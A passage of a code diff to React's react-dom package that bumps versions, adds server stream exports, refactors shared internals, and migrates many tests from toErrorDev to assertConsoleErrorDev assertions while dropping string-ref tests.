--- a/packages/react-dom/package.json
+++ b/packages/react-dom/package.json
@@ -1,6 +1,6 @@
 {
   "name": "react-dom",
-  "version": "19.0.0",
+  "version": "19.3.0",
   "description": "React package for working with the DOM.",
   "main": "index.js",
   "repository": {
@@ -17,10 +17,10 @@
   },
   "homepage": "https://react.dev/",
   "dependencies": {
-    "scheduler": "^0.23.0"
+    "scheduler": "^0.28.0"
   },
   "peerDependencies": {
-    "react": "^19.0.0"
+    "react": "^19.3.0"
   },
   "files": [
     "LICENSE",
@@ -61,7 +61,7 @@
       "react-server": "./server.react-server.js",
       "workerd": "./server.edge.js",
       "bun": "./server.bun.js",
-      "deno": "./server.browser.js",
+      "deno": "./server.node.js",
       "worker": "./server.browser.js",
       "node": "./server.node.js",
       "edge-light": "./server.edge.js",
diff --git a/packages/react-dom/server.bun.js b/packages/react-dom/server.bun.js
index 7d054e5534e2..13e312e559a9 100644
--- a/packages/react-dom/server.bun.js
+++ b/packages/react-dom/server.bun.js
@@ -38,3 +38,17 @@ export function resume() {
     arguments,
   );
 }
+
+export function renderToPipeableStream() {
+  return require('./src/server/react-dom-server.bun').renderToPipeableStream.apply(
+    this,
+    arguments,
+  );
+}
+
+export function resumeToPipeableStream() {
+  return require('./src/server/react-dom-server.bun').resumeToPipeableStream.apply(
+    this,
+    arguments,
+  );
+}
diff --git a/packages/react-dom/server.node.js b/packages/react-dom/server.node.js
index 5f9c78f6dbd1..bed7b9895d05 100644
--- a/packages/react-dom/server.node.js
+++ b/packages/react-dom/server.node.js
@@ -37,3 +37,17 @@ export function resumeToPipeableStream() {
     arguments,
   );
 }
+
+export function renderToReadableStream() {
+  return require('./src/server/react-dom-server.node').renderToReadableStream.apply(
+    this,
+    arguments,
+  );
+}
+
+export function resume() {
+  return require('./src/server/react-dom-server.node').resume.apply(
+    this,
+    arguments,
+  );
+}
diff --git a/packages/react-dom/src/ReactDOMSharedInternals.js b/packages/react-dom/src/ReactDOMSharedInternals.js
index 0d11b8171891..b82535b67a15 100644
--- a/packages/react-dom/src/ReactDOMSharedInternals.js
+++ b/packages/react-dom/src/ReactDOMSharedInternals.js
@@ -10,20 +10,20 @@
 import type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';
 import type {HostDispatcher} from './shared/ReactDOMTypes';
 
-import {NoEventPriority} from 'react-reconciler/src/ReactEventPriorities';
+import noop from 'shared/noop';
+
+// This should line up with NoEventPriority from react-reconciler/src/ReactEventPriorities
+// but we can't depend on the react-reconciler from this isomorphic code.
+export const NoEventPriority: EventPriority = (0: any);
 
 type ReactDOMInternals = {
   d /* ReactDOMCurrentDispatcher */: HostDispatcher,
   p /* currentUpdatePriority */: EventPriority,
   findDOMNode:
     | null
-    | ((
-        componentOrElement: React$Component<any, any>,
-      ) => null | Element | Text),
+    | ((componentOrElement: component(...props: any)) => null | Element | Text),
 };
 
-function noop() {}
-
 function requestFormReset(element: HTMLFormElement) {
   throw new Error(
     'Invalid form element. requestFormReset must be passed a form that was ' +
diff --git a/packages/react-dom/src/ReactDOMSharedInternalsFB.js b/packages/react-dom/src/ReactDOMSharedInternalsFB.js
index 4e425d5ddca7..6c91096c7478 100644
--- a/packages/react-dom/src/ReactDOMSharedInternalsFB.js
+++ b/packages/react-dom/src/ReactDOMSharedInternalsFB.js
@@ -12,19 +12,17 @@ import type {HostDispatcher} from './shared/ReactDOMTypes';
 
 import {NoEventPriority} from 'react-reconciler/src/ReactEventPriorities';
 
+import noop from 'shared/noop';
+
 type ReactDOMInternals = {
   Events: [any, any, any, any, any, any],
   d /* ReactDOMCurrentDispatcher */: HostDispatcher,
   p /* currentUpdatePriority */: EventPriority,
   findDOMNode:
     | null
-    | ((
-        componentOrElement: React$Component<any, any>,
-      ) => null | Element | Text),
+    | ((componentOrElement: component(...props: any)) => null | Element | Text),
 };
 
-function noop() {}
-
 const DefaultDispatcher: HostDispatcher = {
   f /* flushSyncWork */: noop,
   r /* requestFormReset */: noop,
diff --git a/packages/react-dom/src/__tests__/CSSPropertyOperations-test.js b/packages/react-dom/src/__tests__/CSSPropertyOperations-test.js
index bda95b8434d4..b5671cf759ce 100644
--- a/packages/react-dom/src/__tests__/CSSPropertyOperations-test.js
+++ b/packages/react-dom/src/__tests__/CSSPropertyOperations-test.js
@@ -13,6 +13,8 @@ const React = require('react');
 const ReactDOMClient = require('react-dom/client');
 const ReactDOMServer = require('react-dom/server');
 const act = require('internal-test-utils').act;
+const assertConsoleErrorDev =
+  require('internal-test-utils').assertConsoleErrorDev;
 
 describe('CSSPropertyOperations', () => {
   it('should automatically append `px` to relevant styles', () => {
@@ -103,15 +105,14 @@ describe('CSSPropertyOperations', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Comp />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<Comp />);
+    });
+    assertConsoleErrorDev([
       'Unsupported style property background-color. Did you mean backgroundColor?' +
         '\n    in div (at **)' +
         '\n    in Comp (at **)',
-    );
+    ]);
   });
 
   it('should warn when updating hyphenated style names', async () => {
@@ -132,11 +133,10 @@ describe('CSSPropertyOperations', () => {
     await act(() => {
       root.render(<Comp />);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<Comp style={styles} />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      root.render(<Comp style={styles} />);
+    });
+    assertConsoleErrorDev([
       'Unsupported style property -ms-transform. Did you mean msTransform?' +
         '\n    in div (at **)' +
         '\n    in Comp (at **)',
@@ -165,11 +165,10 @@ describe('CSSPropertyOperations', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Comp />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      root.render(<Comp />);
+    });
+    assertConsoleErrorDev([
       // msTransform is correct already and shouldn't warn
       'Unsupported vendor-prefixed style property oTransform. ' +
         'Did you mean OTransform?' +
@@ -202,11 +201,10 @@ describe('CSSPropertyOperations', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Comp />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      root.render(<Comp />);
+    });
+    assertConsoleErrorDev([
       "Style property values shouldn't contain a semicolon. " +
         'Try "backgroundColor: blue" instead.' +
         '\n    in div (at **)' +
@@ -229,15 +227,14 @@ describe('CSSPropertyOperations', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Comp />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<Comp />);
+    });
+    assertConsoleErrorDev([
       '`NaN` is an invalid value for the `fontSize` css style property.' +
         '\n    in div (at **)' +
         '\n    in Comp (at **)',
-    );
+    ]);
   });
 
   it('should not warn when setting CSS custom properties', async () => {
@@ -265,15 +262,14 @@ describe('CSSPropertyOperations', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Comp />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<Comp />);
+    });
+    assertConsoleErrorDev([
       '`Infinity` is an invalid value for the `fontSize` css style property.' +
         '\n    in div (at **)' +
         '\n    in Comp (at **)',
-    );
+    ]);
   });
 
   it('should not add units to CSS custom properties', async () => {
diff --git a/packages/react-dom/src/__tests__/DOMPropertyOperations-test.js b/packages/react-dom/src/__tests__/DOMPropertyOperations-test.js
index cecc71b45a6c..ef09e49bf36c 100644
--- a/packages/react-dom/src/__tests__/DOMPropertyOperations-test.js
+++ b/packages/react-dom/src/__tests__/DOMPropertyOperations-test.js
@@ -1333,7 +1333,8 @@ describe('DOMPropertyOperations', () => {
       });
 
       assertConsoleErrorDev([
-        'The `popoverTarget` prop expects the ID of an Element as a string. Received HTMLDivElement {} instead.',
+        'The `popoverTarget` prop expects the ID of an Element as a string. Received HTMLDivElement {} instead.\n' +
+          '    in button (at **)',
       ]);
 
       // Dedupe warning
@@ -1375,13 +1376,17 @@ describe('DOMPropertyOperations', () => {
         expect(container.firstChild.getAttribute('value')).toBe('foo');
       }
       expect(container.firstChild.value).toBe('foo');
-      await expect(async () => {
-        await act(() => {
-          root.render(<input type="text" onChange={function () {}} />);
-        });
-      }).toErrorDev(
-        'A component is changing a controlled input to be uncontrolled',
-      );
+      await act(() => {
+        root.render(<input type="text" onChange={function () {}} />);
+      });
+      assertConsoleErrorDev([
+        'A component is changing a controlled input to be uncontrolled. ' +
+          'This is likely caused by the value changing from a defined to undefined, ' +
+          'which should not happen. Decide between using a controlled or uncontrolled ' +
+          'input element for the lifetime of the component. ' +
+          'More info: https://react.dev/link/controlled-components\n' +
+          '    in input (at **)',
+      ]);
       if (disableInputAttributeSyncing) {
         expect(container.firstChild.hasAttribute('value')).toBe(false);
       } else {
diff --git a/packages/react-dom/src/__tests__/InvalidEventListeners-test.js b/packages/react-dom/src/__tests__/InvalidEventListeners-test.js
index d7045d2756ad..8bff125c82c3 100644
--- a/packages/react-dom/src/__tests__/InvalidEventListeners-test.js
+++ b/packages/react-dom/src/__tests__/InvalidEventListeners-test.js
@@ -15,13 +15,14 @@ describe('InvalidEventListeners', () => {
   let React;
   let ReactDOMClient;
   let act;
+  let assertConsoleErrorDev;
   let container;
 
   beforeEach(() => {
     jest.resetModules();
     React = require('react');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
 
     container = document.createElement('div');
     document.body.appendChild(container);
@@ -34,13 +35,13 @@ describe('InvalidEventListeners', () => {
 
   it('should prevent non-function listeners, at dispatch', async () => {
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<div onClick="not a function" />);
-      });
-    }).toErrorDev(
-      'Expected `onClick` listener to be a function, instead got a value of `string` type.',
-    );
+    await act(() => {
+      root.render(<div onClick="not a function" />);
+    });
+    assertConsoleErrorDev([
+      'Expected `onClick` listener to be a function, instead got a value of `string` type.\n' +
+        '    in div (at **)',
+    ]);
     const node = container.firstChild;
 
     console.error = jest.fn();
diff --git a/packages/react-dom/src/__tests__/ReactChildReconciler-test.js b/packages/react-dom/src/__tests__/ReactChildReconciler-test.js
index 1c1475534f3e..d173d26e6798 100644
--- a/packages/react-dom/src/__tests__/ReactChildReconciler-test.js
+++ b/packages/react-dom/src/__tests__/ReactChildReconciler-test.js
@@ -15,6 +15,7 @@
 let React;
 let ReactDOMClient;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactChildReconciler', () => {
   beforeEach(() => {
@@ -22,7 +23,7 @@ describe('ReactChildReconciler', () => {
 
     React = require('react');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   function createIterable(array) {
@@ -62,15 +63,20 @@ describe('ReactChildReconciler', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <div>
-            <h1>{iterableFunction}</h1>
-          </div>,
-        );
-      });
-    }).toErrorDev('Functions are not valid as a React child');
+    await act(() => {
+      root.render(
+        <div>
+          <h1>{iterableFunction}</h1>
+        </div>,
+      );
+    });
+    assertConsoleErrorDev([
+      'Functions are not valid as a React child. ' +
+        'This may happen if you return fn instead of <fn /> from render. ' +
+        'Or maybe you meant to call this function rather than return it.\n' +
+        '  <h1>{fn}</h1>\n' +
+        '    in h1 (at **)',
+    ]);
     const node = container.firstChild;
 
     expect(node.innerHTML).toContain(''); // h1
@@ -85,16 +91,17 @@ describe('ReactChildReconciler', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev(
-      'Keys should be unique so that components maintain their identity ' +
-        'across updates. Non-unique keys may cause children to be ' +
-        'duplicated and/or omitted — the behavior is unsupported and ' +
-        'could change in a future version.',
-    );
+    await act(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
+      'Encountered two children with the same key, `1`. ' +
+        'Keys should be unique so that components maintain their identity across updates. ' +
+        'Non-unique keys may cause children to be duplicated and/or omitted — ' +
+        'the behavior is unsupported and could change in a future version.\n' +
+        '    in div (at **)\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('warns for duplicated array keys with component stack info', async () => {
@@ -118,24 +125,19 @@ describe('ReactChildReconciler', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<GrandParent />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<GrandParent />);
+    });
+    assertConsoleErrorDev([
       'Encountered two children with the same key, `1`. ' +
         'Keys should be unique so that components maintain their identity ' +
         'across updates. Non-unique keys may cause children to be ' +
         'duplicated and/or omitted — the behavior is unsupported and ' +
         'could change in a future version.\n' +
         '    in div (at **)\n' +
-        (gate(flags => flags.enableOwnerStacks) ? '' : '    in div (at **)\n') +
         '    in Component (at **)\n' +
-        (gate(flags => flags.enableOwnerStacks)
-          ? ''
-          : '    in Parent (at **)\n') +
         '    in GrandParent (at **)',
-    );
+    ]);
   });
 
   it('warns for duplicated iterable keys', async () => {
@@ -147,16 +149,18 @@ describe('ReactChildReconciler', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev(
-      'Keys should be unique so that components maintain their identity ' +
+    await act(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
+      'Encountered two children with the same key, `1`. ' +
+        'Keys should be unique so that components maintain their identity ' +
         'across updates. Non-unique keys may cause children to be ' +
         'duplicated and/or omitted — the behavior is unsupported and ' +
-        'could change in a future version.',
-    );
+        'could change in a future version.\n' +
+        '    in div (at **)\n' +
+        '    in Component (at **)',
+    ]);
   });
 
   it('warns for duplicated iterable keys with component stack info', async () => {
@@ -180,23 +184,18 @@ describe('ReactChildReconciler', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<GrandParent />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<GrandParent />);
+    });
+    assertConsoleErrorDev([
       'Encountered two children with the same key, `1`. ' +
         'Keys should be unique so that components maintain their identity ' +
         'across updates. Non-unique keys may cause children to be ' +
         'duplicated and/or omitted — the behavior is unsupported and ' +
         'could change in a future version.\n' +
         '    in div (at **)\n' +
-        (gate(flags => flags.enableOwnerStacks) ? '' : '    in div (at **)\n') +
         '    in Component (at **)\n' +
-        (gate(flags => flags.enableOwnerStacks)
-          ? ''
-          : '    in Parent (at **)\n') +
         '    in GrandParent (at **)',
-    );
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactClassComponentPropResolutionFizz-test.js b/packages/react-dom/src/__tests__/ReactClassComponentPropResolutionFizz-test.js
index 67e7fff24985..66477bf80a96 100644
--- a/packages/react-dom/src/__tests__/ReactClassComponentPropResolutionFizz-test.js
+++ b/packages/react-dom/src/__tests__/ReactClassComponentPropResolutionFizz-test.js
@@ -22,18 +22,18 @@ let ReactDOMServer;
 let Scheduler;
 let assertLog;
 let container;
-let act;
+let serverAct;
 
 describe('ReactClassComponentPropResolutionFizz', () => {
   beforeEach(() => {
     jest.resetModules();
     Scheduler = require('scheduler');
-    patchMessageChannel(Scheduler);
-    act = require('internal-test-utils').act;
+    patchMessageChannel();
 
     React = require('react');
     ReactDOMServer = require('react-dom/server.browser');
     assertLog = require('internal-test-utils').assertLog;
+    serverAct = require('internal-test-utils').serverAct;
     container = document.createElement('div');
     document.body.appendChild(container);
   });
@@ -42,17 +42,6 @@ describe('ReactClassComponentPropResolutionFizz', () => {
     document.body.removeChild(container);
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await act(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
-    });
-    return maybePromise;
-  }
-
   async function readIntoContainer(stream) {
     const reader = stream.getReader();
     let result = '';
diff --git a/packages/react-dom/src/__tests__/ReactComponent-test.js b/packages/react-dom/src/__tests__/ReactComponent-test.js
index e5dd5ed88578..9df55ff80ed4 100644
--- a/packages/react-dom/src/__tests__/ReactComponent-test.js
+++ b/packages/react-dom/src/__tests__/ReactComponent-test.js
@@ -14,6 +14,7 @@ let ReactDOM;
 let ReactDOMClient;
 let ReactDOMServer;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactComponent', () => {
   beforeEach(() => {
@@ -24,6 +25,8 @@ describe('ReactComponent', () => {
     ReactDOMClient = require('react-dom/client');
     ReactDOMServer = require('react-dom/server');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
   });
 
   // @gate !disableLegacyMode
@@ -39,19 +42,6 @@ describe('ReactComponent', () => {
     }).toThrowError(/Target container is not a DOM element./);
   });
 
-  // @gate !disableStringRefs
-  it('should throw when supplying a string ref outside of render method', async () => {
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(
-      act(() => {
-        root.render(<div ref="badDiv" />);
-      }),
-      // TODO: This throws an AggregateError. Need to update test infra to
-      // support matching against AggregateError.
-    ).rejects.toThrow();
-  });
-
   it('should throw (in dev) when children are mutated during render', async () => {
     function Wrapper(props) {
       props.children[1] = <p key={1} />; // Mutation is illegal
@@ -129,105 +119,6 @@ describe('ReactComponent', () => {
     }
   });
 
-  // @gate !disableStringRefs
-  it('string refs do not detach and reattach on every render', async () => {
-    spyOnDev(console, 'error').mockImplementation(() => {});
-
-    let refVal;
-    class Child extends React.Component {
-      componentDidUpdate() {
-        // The parent ref should still be attached because it hasn't changed
-        // since the last render. If the ref had changed, then this would be
-        // undefined because refs are attached during the same phase (layout)
-        // as componentDidUpdate, in child -> parent order. So the new parent
-        // ref wouldn't have attached yet.
-        refVal = this.props.contextRef();
-      }
-
-      render() {
-        if (this.props.show) {
-          return <div>child</div>;
-        }
-      }
-    }
-
-    class Parent extends React.Component {
-      render() {
-        return (
-          <div id="test-root" ref="root">
-            <Child
-              contextRef={() => this.refs.root}
-              show={this.props.showChild}
-            />
-          </div>
-        );
-      }
-    }
-
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-
-    await act(() => {
-      root.render(<Parent />);
-    });
-
-    expect(refVal).toBe(undefined);
-    await act(() => {
-      root.render(<Parent showChild={true} />);
-    });
-    expect(refVal).toBe(container.querySelector('#test-root'));
-  });
-
-  // @gate !disableStringRefs
-  it('should support string refs on owned components', async () => {
-    const innerObj = {};
-    const outerObj = {};
-
-    class Wrapper extends React.Component {
-      getObject = () => {
-        return this.props.object;
-      };
-
-      render() {
-        return <div>{this.props.children}</div>;
-      }
-    }
-
-    class Component extends React.Component {
-      render() {
-        const inner = <Wrapper object={innerObj} ref="inner" />;
-        const outer = (
-          <Wrapper object={outerObj} ref="outer">
-            {inner}
-          </Wrapper>
-        );
-        return outer;
-      }
-
-      componentDidMount() {
-        expect(this.refs.inner.getObject()).toEqual(innerObj);
-        expect(this.refs.outer.getObject()).toEqual(outerObj);
-      }
-    }
-
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev([
-      'Component "Component" contains the string ref "inner". ' +
-        'Support for string refs will be removed in a future major release. ' +
-        'We recommend using useRef() or createRef() instead. ' +
-        'Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\n' +
-        '    in Wrapper (at **)\n' +
-        '    in div (at **)\n' +
-        '    in Wrapper (at **)\n' +
-        '    in Component (at **)',
-    ]);
-  });
-
   it('should not have string refs on unmounted components', async () => {
     class Parent extends React.Component {
       render() {
@@ -468,7 +359,6 @@ describe('ReactComponent', () => {
       root.unmount();
     });
 
-    /* eslint-disable indent */
     expect(log).toEqual([
       'start mount',
       'inner 1 render',
@@ -497,7 +387,6 @@ describe('ReactComponent', () => {
       'ref 2 got null',
       'inner 2 componentWillUnmount',
     ]);
-    /* eslint-enable indent */
   });
 
   // @gate !disableLegacyMode
@@ -513,19 +402,16 @@ describe('ReactComponent', () => {
   });
 
   it('throws usefully when rendering badly-typed elements', async () => {
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
     const X = undefined;
-    let container = document.createElement('div');
-    let root = ReactDOMClient.createRoot(container);
-    await expect(
-      expect(async () => {
-        await act(() => {
-          root.render(<X />);
-        });
-      }).toErrorDev(
-        'React.jsx: type is invalid -- expected a string (for built-in components) ' +
-          'or a class/function (for composite components) but got: undefined.',
-      ),
-    ).rejects.toThrowError(
+    const XElement = <X />;
+    await expect(async () => {
+      await act(() => {
+        root.render(XElement);
+      });
+    }).rejects.toThrowError(
       'Element type is invalid: expected a string (for built-in components) ' +
         'or a class/function (for composite components) but got: undefined.' +
         (__DEV__
@@ -535,21 +421,26 @@ describe('ReactComponent', () => {
     );
 
     const Y = null;
-    container = document.createElement('div');
-    root = ReactDOMClient.createRoot(container);
-    await expect(
-      expect(async () => {
-        await act(() => {
-          root.render(<Y />);
-        });
-      }).toErrorDev(
-        'React.jsx: type is invalid -- expected a string (for built-in components) ' +
-          'or a class/function (for composite components) but got: null.',
-      ),
-    ).rejects.toThrowError(
+    const YElement = <Y />;
+    await expect(async () => {
+      await act(() => {
+        root.render(YElement);
+      });
+    }).rejects.toThrowError(
       'Element type is invalid: expected a string (for built-in components) ' +
         'or a class/function (for composite components) but got: null.',
     );
+
+    const Z = true;
+    const ZElement = <Z />;
+    await expect(async () => {
+      await act(() => {
+        root.render(ZElement);
+      });
+    }).rejects.toThrowError(
+      'Element type is invalid: expected a string (for built-in components) ' +
+        'or a class/function (for composite components) but got: boolean.',
+    );
   });
 
   it('includes owner name in the error about badly-typed elements', async () => {
@@ -573,16 +464,11 @@ describe('ReactComponent', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(
-      expect(async () => {
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).toErrorDev(
-        'React.jsx: type is invalid -- expected a string (for built-in components) ' +
-          'or a class/function (for composite components) but got: undefined.',
-      ),
-    ).rejects.toThrowError(
+    await expect(async () => {
+      await act(() => {
+        root.render(<Foo />);
+      });
+    }).rejects.toThrowError(
       'Element type is invalid: expected a string (for built-in components) ' +
         'or a class/function (for composite components) but got: undefined.' +
         (__DEV__
@@ -612,7 +498,6 @@ describe('ReactComponent', () => {
     );
   });
 
-  // @gate renameElementSymbol
   it('throws if a legacy element is used as a child', async () => {
     const inlinedElement = {
       $$typeof: Symbol.for('react.element'),
@@ -706,17 +591,16 @@ describe('ReactComponent', () => {
       }
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<Foo />);
+      });
+      assertConsoleErrorDev([
         'Functions are not valid as a React child. This may happen if ' +
           'you return Foo instead of <Foo /> from render. ' +
           'Or maybe you meant to call this function rather than return it.\n' +
           '  <Foo>{Foo}</Foo>\n' +
           '    in Foo (at **)',
-      );
+      ]);
     });
 
     it('warns on function as a return value from a class', async () => {
@@ -726,19 +610,18 @@ describe('ReactComponent', () => {
         }
       }
       const container = document.createElement('div');
-      await expect(async () => {
-        const root = ReactDOMClient.createRoot(container);
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<Foo />);
+      });
+      assertConsoleErrorDev([
         'Functions are not valid as a React child. This may happen if ' +
           'you return Foo instead of <Foo /> from render. ' +
           'Or maybe you meant to call this function rather than return it.\n' +
           '  <Foo>{Foo}</Foo>\n' +
           '    in Foo (at **)',
-      );
+      ]);
     });
 
     it('warns on function as a child to host component', async () => {
@@ -751,21 +634,17 @@ describe('ReactComponent', () => {
       }
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<Foo />);
+      });
+      assertConsoleErrorDev([
         'Functions are not valid as a React child. This may happen if ' +
           'you return Foo instead of <Foo /> from render. ' +
           'Or maybe you meant to call this function rather than return it.\n' +
           '  <span>{Foo}</span>\n' +
           '    in span (at **)\n' +
-          (gate(flags => flags.enableOwnerStacks)
-            ? ''
-            : '    in div (at **)\n') +
           '    in Foo (at **)',
-      );
+      ]);
     });
 
     it('does not warn for function-as-a-child that gets resolved', async () => {
@@ -806,11 +685,10 @@ describe('ReactComponent', () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
       let component;
-      await expect(async () => {
-        await act(() => {
-          root.render(<Foo ref={current => (component = current)} />);
-        });
-      }).toErrorDev([
+      await act(() => {
+        root.render(<Foo ref={current => (component = current)} />);
+      });
+      assertConsoleErrorDev([
         'Functions are not valid as a React child. This may happen if ' +
           'you return Foo instead of <Foo /> from render. ' +
           'Or maybe you meant to call this function rather than return it.\n' +
@@ -822,9 +700,6 @@ describe('ReactComponent', () => {
           'Or maybe you meant to call this function rather than return it.\n' +
           '  <span>{Foo}</span>\n' +
           '    in span (at **)\n' +
-          (gate(flags => flags.enableOwnerStacks)
-            ? ''
-            : '    in div (at **)\n') +
           '    in Foo (at **)',
       ]);
       await act(() => {
diff --git a/packages/react-dom/src/__tests__/ReactComponentLifeCycle-test.js b/packages/react-dom/src/__tests__/ReactComponentLifeCycle-test.js
index c72fea8adf0d..a57b6df671f8 100644
--- a/packages/react-dom/src/__tests__/ReactComponentLifeCycle-test.js
+++ b/packages/react-dom/src/__tests__/ReactComponentLifeCycle-test.js
@@ -12,8 +12,9 @@
 let act;
 
 let React;
-let ReactDOM;
 let ReactDOMClient;
+let assertConsoleErrorDev;
+let assertConsoleWarnDev;
 
 const clone = function (o) {
   return JSON.parse(JSON.stringify(o));
@@ -61,24 +62,6 @@ const POST_WILL_UNMOUNT_STATE = {
   hasWillUnmountCompleted: true,
 };
 
-/**
- * Every React component is in one of these life cycles.
- */
-type ComponentLifeCycle =
-  /**
-   * Mounted components have a DOM node representation and are capable of
-   * receiving new props.
-   */
-  | 'MOUNTED'
-  /**
-   * Unmounted components are inactive and cannot receive new props.
-   */
-  | 'UNMOUNTED';
-
-function getLifeCycleState(instance): ComponentLifeCycle {
-  return instance.updater.isMounted(instance) ? 'MOUNTED' : 'UNMOUNTED';
-}
-
 /**
  * TODO: We should make any setState calls fail in
  * `getInitialState` and `componentWillMount`. They will usually fail
@@ -90,10 +73,13 @@ describe('ReactComponentLifeCycle', () => {
   beforeEach(() => {
     jest.resetModules();
 
-    act = require('internal-test-utils').act;
+    ({
+      act,
+      assertConsoleErrorDev,
+      assertConsoleWarnDev,
+    } = require('internal-test-utils'));
 
     React = require('react');
-    ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
   });
 
@@ -239,15 +225,15 @@ describe('ReactComponentLifeCycle', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<StatefulComponent />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<StatefulComponent />);
+    });
+    assertConsoleErrorDev([
       'StatefulComponent: It is not recommended to assign props directly to state ' +
         "because updates to props won't be reflected in state. " +
-        'In most cases, it is better to use props directly.',
-    );
+        'In most cases, it is better to use props directly.\n' +
+        '    in StatefulComponent (at **)',
+    ]);
   });
 
   it('should not allow update state inside of getInitialState', async () => {
@@ -266,16 +252,16 @@ describe('ReactComponentLifeCycle', () => {
 
     let container = document.createElement('div');
     let root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<StatefulComponent />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<StatefulComponent />);
+    });
+    assertConsoleErrorDev([
       "Can't call setState on a component that is not yet mounted. " +
         'This is a no-op, but it might indicate a bug in your application. ' +
         'Instead, assign to `this.state` directly or define a `state = {};` ' +
-        'class property with the desired state in the StatefulComponent component.',
-    );
+        'class property with the desired state in the StatefulComponent component.\n' +
+        '    in StatefulComponent (at **)',
+    ]);
 
     container = document.createElement('div');
     root = ReactDOMClient.createRoot(container);
@@ -284,119 +270,6 @@ describe('ReactComponentLifeCycle', () => {
     });
   });
 
-  it('should correctly determine if a component is mounted', async () => {
-    class Component extends React.Component {
-      _isMounted() {
-        // No longer a public API, but we can test that it works internally by
-        // reaching into the updater.
-        return this.updater.isMounted(this);
-      }
-      UNSAFE_componentWillMount() {
-        expect(this._isMounted()).toBeFalsy();
-      }
-      componentDidMount() {
-        expect(this._isMounted()).toBeTruthy();
-      }
-      render() {
-        expect(this._isMounted()).toBeFalsy();
-        return <div />;
-      }
-    }
-
-    let instance;
-    const element = <Component ref={current => (instance = current)} />;
-
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(element);
-      });
-    }).toErrorDev('Component is accessing isMounted inside its render()');
-    expect(instance._isMounted()).toBeTruthy();
-  });
-
-  it('should correctly determine if a null component is mounted', async () => {
-    class Component extends React.Component {
-      _isMounted() {
-        // No longer a public API, but we can test that it works internally by
-        // reaching into the updater.
-        return this.updater.isMounted(this);
-      }
-      UNSAFE_componentWillMount() {
-        expect(this._isMounted()).toBeFalsy();
-      }
-      componentDidMount() {
